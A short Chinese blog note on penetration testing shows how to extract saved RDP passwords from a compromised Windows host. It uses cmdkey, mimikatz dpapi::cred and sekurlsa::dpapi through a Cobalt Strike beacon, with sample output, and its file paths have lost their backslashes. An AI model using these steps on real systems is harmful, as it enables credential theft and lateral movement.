內網滲透 | 獲取遠程主機保存的RDP憑據密碼
- 2020 年 2 月 17 日
- 筆記
簡單記錄下獲取遠程主機RDP憑據。
Windows保存RDP憑據的目錄是:
C:Users用戶名AppDataLocalMicrosoftCredentials
可通過命令行獲取,執行:
cmdkey /list或powerpick Get-ChildItem C:Usersrasta_mouseAppDataLocalMicrosoftCredentials -Force
注意:cmdkey /list命令務必在Session會話下執行,system下執行無結果。

使用cobalt strike中的mimikatz可以獲取一部分接下來要用到的masterkey和pbData
mimikatz dpapi::cred /in:C:UsersUSERNAMEAppDataLocalMicrosoftCredentialsSESSIONID
輸出應類似
**BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {0785cf41-0f53-4be7-bc8b-6cb33b4bb102} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000012 - 18 szDescription : 本地憑據數據 algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : 726d845b8a4eba29875****10659ec2d5e210a48f dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : cda4760ed3fb1c7874****28973f5b5b403fe31f233 dwDataLen : 000000c0 - 192 pbData : d268f81c64a3867cd7e96d99578295ea55a47fcaad5f7dd6678989117fc565906cc5a8bfd37137171302b34611ba5****e0b94ae399f9883cf80050f0972693d72b35a9a90918a06d dwSignLen : 00000040 - 64 pbSign : 63239d3169c99fd82404c0e230****37504cfa332bea4dca0655
需要關注的是guidMasterKey、pbData,pbData是我們要解密的數據,guidMasterKey是解密所需要的密鑰。這裡LSASS已經在其快取中存有這個key因此我們可以使用SeDebugPrivilege獲取。
beacon> mimikatz !sekurlsa::dpapi
mimikatz !sekurlsa::dpapi [00000001] * GUID : {0785cf41-0f53-4be7-bc8b-6cb33b4bb102} * Time : 2020/1/3 8:05:02 * MasterKey : 02b598c2252fa5d8f7fcd***7737644186223f44cb7d958148 * sha1(key) : 3e6dc57a0fe****a902cfaf617b1322 [00000002] * GUID : {edcb491a-91d7-4d98-a714-8bc60254179f} * Time : 2020/1/3 8:05:02 * MasterKey : c17a4aa87e9848e9f46c8ca81330***79381103f4137d3d97fe202 * sha1(key) : 5e1b3eb1152d3****6d3d6f90aaeb
然後將憑據保存到本地,執行
mimikatz "dpapi::cred /in:C:UsersUSERNAMEDesktoptestSESSION /masterkey:對應的GUID key"

原創作者: Sp4ce
參考來源: Sp4ce's Blog